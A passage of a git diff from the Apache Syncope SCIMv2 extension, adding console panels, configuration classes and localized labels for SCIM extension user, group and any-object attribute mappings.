uniqueness.hideLabel(); + uniqueness.setEnabled(true); + item.add(uniqueness); + // ------------------------------- + + //-------------------------------- + // MultiValued + // ------------------------------- + AjaxCheckBoxPanel multiValued = new AjaxCheckBoxPanel( + "multiValued", + "multiValued", + new PropertyModel<>(itemTO, "multiValued")); + multiValued.hideLabel(); + multiValued.setEnabled(true); + item.add(multiValued); + // ------------------------------- + + //-------------------------------- + // Remove + // ------------------------------- + ActionsPanel actions = new ActionsPanel<>("toRemove", null); + actions.add(new ActionLink<>() { + + private static final long serialVersionUID = -4097030429755746419L; + + @Override + public void onClick(final AjaxRequestTarget target, final Serializable ignore) { + model.getObject().remove(item.getIndex()); + item.getParent().removeAll(); + target.add(SCIMExtensionMappingPanel.this); + } + }, ActionLink.ActionType.DELETE, StringUtils.EMPTY, true).hideLabel(); + item.add(actions); + // ------------------------------- + + intAttrName.getField().add(new IndicatorAjaxFormComponentUpdatingBehavior(Constants.ON_CHANGE) { + + private static final long serialVersionUID = 6890150953186587184L; + + @Override + protected void onUpdate(final AjaxRequestTarget target) { + } + }); + } + }; + + mappings.setReuseItems(true); + mappingContainer.add(mappings); + + addMappingBtn = new IndicatingAjaxButton("addMappingBtn") { + + private static final long serialVersionUID = -971427869417596230L; + + @Override + protected void onSubmit(final AjaxRequestTarget target) { + model.getObject().add(new SCIMItem()); + target.add(SCIMExtensionMappingPanel.this); + } + }; + addMappingBtn.setDefaultFormProcessing(false); + addMappingBtn.setEnabled(true); + mappingContainer.add(addMappingBtn); + } + + protected IModel> getExtAttrNames() { + List choices = new ArrayList<>(); + switch (anyTypeKey) { + case "USER": + choices.addAll(ClassPathScanImplementationLookup.USER_FIELD_NAMES); + break; + case "GROUP": + choices.addAll(ClassPathScanImplementationLookup.GROUP_FIELD_NAMES); + break; + default: + choices.addAll(ClassPathScanImplementationLookup.ANY_OBJECT_FIELD_NAMES); + } + anyTypeClassRestClient.list(anyTypeRestClient.read(anyTypeKey).getClasses()). + forEach(anyTypeClassTO -> { + choices.addAll(anyTypeClassTO.getPlainSchemas()); + choices.addAll(anyTypeClassTO.getDerSchemas()); + choices.addAll(anyTypeClassTO.getVirSchemas()); + }); + + Collections.sort(choices); + return Model.ofList(choices); + } +} diff --git a/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/rest/SCIMConfRestClient.java b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/rest/SCIMConfRestClient.java index 1701150b3bb..95ae6630302 100644 --- a/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/rest/SCIMConfRestClient.java +++ b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/rest/SCIMConfRestClient.java @@ -25,11 +25,11 @@ public class SCIMConfRestClient extends BaseRestClient { private static final long serialVersionUID = -8572714521320571470L; - public static SCIMConf get() { + public SCIMConf get() { return getService(SCIMConfService.class).get(); } - public static void set(final SCIMConf conf) { + public void set(final SCIMConf conf) { getService(SCIMConfService.class).set(conf); } } diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/reports/ReportTemplateDirectoryPanel_pt_BR.properties b/ext/scimv2/client-console/src/main/resources/META-INF/spring.factories similarity index 86% rename from client/idrepo/console/src/main/resources/org/apache/syncope/client/console/reports/ReportTemplateDirectoryPanel_pt_BR.properties rename to ext/scimv2/client-console/src/main/resources/META-INF/spring.factories index be70e5c8ada..fa7c49aa818 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/reports/ReportTemplateDirectoryPanel_pt_BR.properties +++ b/ext/scimv2/client-console/src/main/resources/META-INF/spring.factories @@ -14,8 +14,6 @@ # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. -any.edit=Editar ${key} -any.new=Novo report template -any.finish=Enviar -any.cancel=Cancelar -text.title=csv + +org.springframework.boot.autoconfigure.EnableAutoConfiguration=\ + org.apache.syncope.client.console.SCIMConsoleContext diff --git a/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/pages/SCIMConfPage.html b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/pages/SCIMConfPage.html index 6b3aff200a7..fd11280f6f1 100644 --- a/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/pages/SCIMConfPage.html +++ b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/pages/SCIMConfPage.html @@ -40,9 +40,9 @@

     

    -
    +
    - \ No newline at end of file + diff --git a/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfExtensionAnyPanel.html b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfExtensionAnyPanel.html new file mode 100644 index 00000000000..a14c9a7cf2d --- /dev/null +++ b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfExtensionAnyPanel.html @@ -0,0 +1,27 @@ + + + +
    +
    +
    + [modal content] +
    + + diff --git a/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfGeneralPanel.html b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfGeneralPanel.html index dba58652870..964dad3bc93 100644 --- a/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfGeneralPanel.html +++ b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfGeneralPanel.html @@ -18,11 +18,20 @@ --> -
    -
    -
    -
    -
    -
    +
    + +
    +
    + +
    +
    + +
    +
    + +
    +
    + +
    - \ No newline at end of file + diff --git a/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfGroupPanel.html b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfGroupPanel.html new file mode 100644 index 00000000000..dd38ad806b4 --- /dev/null +++ b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfGroupPanel.html @@ -0,0 +1,23 @@ + + + +
    + + diff --git a/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfPanel.properties b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfPanel.properties index 40063bde605..954ee7de188 100644 --- a/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfPanel.properties +++ b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfPanel.properties @@ -19,3 +19,6 @@ tab2=User tab3=EnterpriseUser saveButton=Save +tab4=ExtensionUser +tab5=Group +tab6=ExtensionGroup diff --git a/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfPanel_it.properties b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfPanel_it.properties index 40063bde605..954ee7de188 100644 --- a/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfPanel_it.properties +++ b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfPanel_it.properties @@ -19,3 +19,6 @@ tab2=User tab3=EnterpriseUser saveButton=Save +tab4=ExtensionUser +tab5=Group +tab6=ExtensionGroup diff --git a/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfPanel_pt_BR.properties b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfPanel_pt_BR.properties index 40063bde605..954ee7de188 100644 --- a/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfPanel_pt_BR.properties +++ b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfPanel_pt_BR.properties @@ -19,3 +19,6 @@ tab2=User tab3=EnterpriseUser saveButton=Save +tab4=ExtensionUser +tab5=Group +tab6=ExtensionGroup diff --git a/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfPanel_ru.properties b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfPanel_ru.properties index 40063bde605..954ee7de188 100644 --- a/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfPanel_ru.properties +++ b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfPanel_ru.properties @@ -19,3 +19,6 @@ tab2=User tab3=EnterpriseUser saveButton=Save +tab4=ExtensionUser +tab5=Group +tab6=ExtensionGroup diff --git a/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfUserPanel.html b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfUserPanel.html index 5208aca0fa5..9f8d97059f7 100644 --- a/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfUserPanel.html +++ b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/SCIMConfUserPanel.html @@ -18,6 +18,7 @@ --> +
    diff --git a/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/mapping/SCIMExtensionMappingPanel.html b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/mapping/SCIMExtensionMappingPanel.html new file mode 100644 index 00000000000..b66d02ca366 --- /dev/null +++ b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/mapping/SCIMExtensionMappingPanel.html @@ -0,0 +1,105 @@ + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + +
    + [intAttrNames] + + [extAttrName] + + [mandatoryCondition] + + [caseExact] + + [mutability] + + [returned] + + [uniqueness] + + [multiValued] + +
    + +
    +
    + +
    +
    +     + diff --git a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/reports/ReportTemplateDirectoryPanel_ja.properties b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/mapping/SCIMExtensionMappingPanel.properties similarity index 79% rename from client/idrepo/console/src/main/resources/org/apache/syncope/client/console/reports/ReportTemplateDirectoryPanel_ja.properties rename to ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/mapping/SCIMExtensionMappingPanel.properties index f65cc6f15cf..75bd842a2f6 100644 --- a/client/idrepo/console/src/main/resources/org/apache/syncope/client/console/reports/ReportTemplateDirectoryPanel_ja.properties +++ b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/mapping/SCIMExtensionMappingPanel.properties @@ -14,8 +14,12 @@ # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. -any.edit=${key} \u3092\u7de8\u96c6 -any.new=\u65b0\u3057\u3044\u30ec\u30dd\u30fc\u30c8\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8 -any.finish=\u5b9f\u884c -any.cancel=\u30ad\u30e3\u30f3\u30bb\u30eb -text.title=csv +extAttrName=Syncope attribute +mandatoryCondition=Required +delete=Delete +intAttrName=SCIM attribute +caseExact=Case Exact +mutability=Mutability +returned=Returned +uniqueness=Uniqueness +multiValued=MultiValued diff --git a/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/mapping/SCIMExtensionMappingPanel_fr.properties b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/mapping/SCIMExtensionMappingPanel_fr.properties new file mode 100644 index 00000000000..75bd842a2f6 --- /dev/null +++ b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/mapping/SCIMExtensionMappingPanel_fr.properties @@ -0,0 +1,25 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +extAttrName=Syncope attribute +mandatoryCondition=Required +delete=Delete +intAttrName=SCIM attribute +caseExact=Case Exact +mutability=Mutability +returned=Returned +uniqueness=Uniqueness +multiValued=MultiValued diff --git a/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/mapping/SCIMExtensionMappingPanel_it.properties b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/mapping/SCIMExtensionMappingPanel_it.properties new file mode 100644 index 00000000000..bbbccc6974f --- /dev/null +++ b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/mapping/SCIMExtensionMappingPanel_it.properties @@ -0,0 +1,25 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +extAttrName=Attributo Syncope +mandatoryCondition=Obbligatorio +delete=Rimuovi +intAttrName=Attributo SCIM +caseExact=Case Exact +mutability=Mutability +returned=Returned +uniqueness=Unicit\u00E0 +multiValued=Multi Valore diff --git a/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/mapping/SCIMExtensionMappingPanel_ja.properties b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/mapping/SCIMExtensionMappingPanel_ja.properties new file mode 100644 index 00000000000..75bd842a2f6 --- /dev/null +++ b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/mapping/SCIMExtensionMappingPanel_ja.properties @@ -0,0 +1,25 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +extAttrName=Syncope attribute +mandatoryCondition=Required +delete=Delete +intAttrName=SCIM attribute +caseExact=Case Exact +mutability=Mutability +returned=Returned +uniqueness=Uniqueness +multiValued=MultiValued diff --git a/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/mapping/SCIMExtensionMappingPanel_pt_BR.properties b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/mapping/SCIMExtensionMappingPanel_pt_BR.properties new file mode 100644 index 00000000000..75bd842a2f6 --- /dev/null +++ b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/mapping/SCIMExtensionMappingPanel_pt_BR.properties @@ -0,0 +1,25 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +extAttrName=Syncope attribute +mandatoryCondition=Required +delete=Delete +intAttrName=SCIM attribute +caseExact=Case Exact +mutability=Mutability +returned=Returned +uniqueness=Uniqueness +multiValued=MultiValued diff --git a/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/mapping/SCIMExtensionMappingPanel_ru.properties b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/mapping/SCIMExtensionMappingPanel_ru.properties new file mode 100644 index 00000000000..75bd842a2f6 --- /dev/null +++ b/ext/scimv2/client-console/src/main/resources/org/apache/syncope/client/console/panels/mapping/SCIMExtensionMappingPanel_ru.properties @@ -0,0 +1,25 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +extAttrName=Syncope attribute +mandatoryCondition=Required +delete=Delete +intAttrName=SCIM attribute +caseExact=Case Exact +mutability=Mutability +returned=Returned +uniqueness=Uniqueness +multiValued=MultiValued diff --git a/ext/scimv2/common-lib/pom.xml b/ext/scimv2/common-lib/pom.xml index ccdd29c006f..685113c95e4 100644 --- a/ext/scimv2/common-lib/pom.xml +++ b/ext/scimv2/common-lib/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-scimv2 - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: SCIMv2 Common Lib diff --git a/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMComplexConf.java b/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMComplexConf.java index 84cb3faacae..bbdf0a4770c 100644 --- a/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMComplexConf.java +++ b/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMComplexConf.java @@ -63,5 +63,4 @@ public boolean isPrimary() { public void setPrimary(final boolean primary) { this.primary = primary; } - } diff --git a/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMConf.java b/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMConf.java index 1875ebaf6ea..d90ef49b729 100644 --- a/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMConf.java +++ b/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMConf.java @@ -19,6 +19,8 @@ package org.apache.syncope.common.lib.scim; import java.io.Serializable; +import java.util.ArrayList; +import java.util.List; public class SCIMConf implements Serializable { @@ -32,6 +34,14 @@ public class SCIMConf implements Serializable { private SCIMEnterpriseUserConf enterpriseUserConf; + private SCIMExtensionAnyConf extensionUserConf; + + private SCIMGroupConf groupConf; + + private SCIMExtensionAnyConf extensionGroupConf; + + private final List extensionAnyObjectsConf = new ArrayList<>(); + public SCIMGeneralConf getGeneralConf() { return generalConf; } @@ -56,4 +66,31 @@ public void setEnterpriseUserConf(final SCIMEnterpriseUserConf enterpriseUserCon this.enterpriseUserConf = enterpriseUserConf; } + public SCIMExtensionAnyConf getExtensionUserConf() { + return extensionUserConf; + } + + public void setExtensionUserConf(final SCIMExtensionAnyConf extensionUserConf) { + this.extensionUserConf = extensionUserConf; + } + + public SCIMExtensionAnyConf getExtensionGroupConf() { + return extensionGroupConf; + } + + public void setExtensionGroupConf(final SCIMExtensionAnyConf extensionGroupConf) { + this.extensionGroupConf = extensionGroupConf; + } + + public List getExtensionAnyObjectsConf() { + return extensionAnyObjectsConf; + } + + public SCIMGroupConf getGroupConf() { + return groupConf; + } + + public void setGroupConf(final SCIMGroupConf groupConf) { + this.groupConf = groupConf; + } } diff --git a/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMEnterpriseUserConf.java b/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMEnterpriseUserConf.java index e3c1441cff0..d3c9affe6c8 100644 --- a/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMEnterpriseUserConf.java +++ b/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMEnterpriseUserConf.java @@ -110,5 +110,4 @@ public SCIMManagerConf getManager() { public void setManager(final SCIMManagerConf manager) { this.manager = manager; } - } diff --git a/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMExtensionAnyConf.java b/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMExtensionAnyConf.java new file mode 100644 index 00000000000..74c81e96a5a --- /dev/null +++ b/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMExtensionAnyConf.java @@ -0,0 +1,72 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.scim; + +import com.fasterxml.jackson.annotation.JsonIgnore; +import java.io.Serializable; +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Optional; + +public class SCIMExtensionAnyConf implements Serializable { + + private static final long serialVersionUID = -9091596628402547645L; + + private String name; + + private String description; + + private final List attributes = new ArrayList<>(); + + public String getName() { + return name; + } + + public void setName(final String name) { + this.name = name; + } + + public String getDescription() { + return description; + } + + public void setDescription(final String description) { + this.description = description; + } + + public List getAttributes() { + return attributes; + } + + public boolean add(final SCIMItem item) { + return Optional.ofNullable(item). + filter(itemTO -> attributes.contains(itemTO) || attributes.add(itemTO)). + isPresent(); + } + + @JsonIgnore + public Map asMap() { + Map map = new HashMap<>(); + attributes.forEach(item -> map.put(item.getIntAttrName(), item.getExtAttrName())); + return Collections.unmodifiableMap(map); + } +} diff --git a/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMExtensionAnyObjectConf.java b/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMExtensionAnyObjectConf.java new file mode 100644 index 00000000000..7872e44511d --- /dev/null +++ b/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMExtensionAnyObjectConf.java @@ -0,0 +1,44 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.scim; + +public class SCIMExtensionAnyObjectConf extends SCIMExtensionAnyConf { + + private static final long serialVersionUID = 6600395333691186244L; + + private String type; + + private String externalId; + + public String getType() { + return type; + } + + public void setType(final String type) { + this.type = type; + } + + public String getExternalId() { + return externalId; + } + + public void setExternalId(final String externalId) { + this.externalId = externalId; + } +} diff --git a/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMGeneralConf.java b/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMGeneralConf.java index 20da7cacb80..e7352b52ba8 100644 --- a/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMGeneralConf.java +++ b/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMGeneralConf.java @@ -87,5 +87,4 @@ public int getFilterMaxResults() { public void setFilterMaxResults(final int filterMaxResults) { this.filterMaxResults = filterMaxResults; } - } diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/SimpleColorValueChartData.java b/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMGroupConf.java similarity index 54% rename from client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/SimpleColorValueChartData.java rename to ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMGroupConf.java index d10744c705f..7aa56c86c2b 100644 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/SimpleColorValueChartData.java +++ b/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMGroupConf.java @@ -1,52 +1,51 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.client.console.chartjs; - -import java.io.Serializable; - -public class SimpleColorValueChartData implements Serializable { - - private static final long serialVersionUID = 3049771486746243572L; - - public SimpleColorValueChartData(final Number value, final String color) { - this.value = value; - this.color = color; - } - - private Number value; - - private String color; - - public String getColor() { - return color; - } - - public void setColor(final String color) { - this.color = color; - } - - public Number getValue() { - return value; - } - - public void setValue(final Integer value) { - this.value = value; - } - -} +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.scim; + +import com.fasterxml.jackson.annotation.JsonIgnore; +import java.io.Serializable; +import java.util.Collections; +import java.util.HashMap; +import java.util.Map; + +public class SCIMGroupConf implements Serializable { + + private static final long serialVersionUID = -2700011089067219156L; + + private String externalId; + + @JsonIgnore + public Map asMap() { + Map map = new HashMap<>(); + + if (externalId != null) { + map.put("externalId", externalId); + } + + return Collections.unmodifiableMap(map); + } + + public String getExternalId() { + return externalId; + } + + public void setExternalId(final String externalId) { + this.externalId = externalId; + } +} diff --git a/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMItem.java b/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMItem.java new file mode 100644 index 00000000000..3395d1b81b2 --- /dev/null +++ b/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMItem.java @@ -0,0 +1,114 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.scim; + +import org.apache.commons.lang3.builder.EqualsBuilder; +import org.apache.commons.lang3.builder.HashCodeBuilder; +import org.apache.syncope.common.lib.to.Item; + +public class SCIMItem extends Item { + + private boolean caseExact = false; + + private boolean mutability = false; + + private SCIMReturned returned = SCIMReturned.DEFAULT; + + private boolean uniqueness = false; + + private boolean multiValued = false; + + public boolean isCaseExact() { + return caseExact; + } + + public void setCaseExact(final boolean caseExact) { + this.caseExact = caseExact; + } + + public boolean isMutability() { + return mutability; + } + + public void setMutability(final boolean mutability) { + this.mutability = mutability; + } + + public SCIMReturned getReturned() { + return returned; + } + + public void setReturned(final SCIMReturned returned) { + this.returned = returned; + } + + public boolean isUniqueness() { + return uniqueness; + } + + public void setUniqueness(final boolean uniqueness) { + this.uniqueness = uniqueness; + } + + public boolean isMultiValued() { + return multiValued; + } + + public void setMultiValued(final boolean multiValued) { + this.multiValued = multiValued; + } + + @Override + public boolean equals(final Object obj) { + if (this == obj) { + return true; + } + if (obj == null) { + return false; + } + if (getClass() != obj.getClass()) { + return false; + } + SCIMItem other = (SCIMItem) obj; + return new EqualsBuilder(). + append(intAttrName, other.intAttrName). + append(extAttrName, other.extAttrName). + append(mandatoryCondition, other.mandatoryCondition). + append(caseExact, other.caseExact). + append(mutability, other.mutability). + append(returned, other.returned). + append(uniqueness, other.uniqueness). + append(multiValued, other.multiValued). + build(); + } + + @Override + public int hashCode() { + return new HashCodeBuilder(). + append(intAttrName). + append(extAttrName). + append(mandatoryCondition). + append(caseExact). + append(mutability). + append(returned). + append(uniqueness). + append(multiValued). + build(); + } +} diff --git a/core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/ReportTemplate.java b/ext/scimv2/common-lib/src/main/java/org/apache/syncope/common/lib/scim/SCIMReturned.java similarity index 60% rename from core/persistence-api/src/main/java/org/apache/syncope/core/persistence/api/entity/ReportTemplate.java rename to 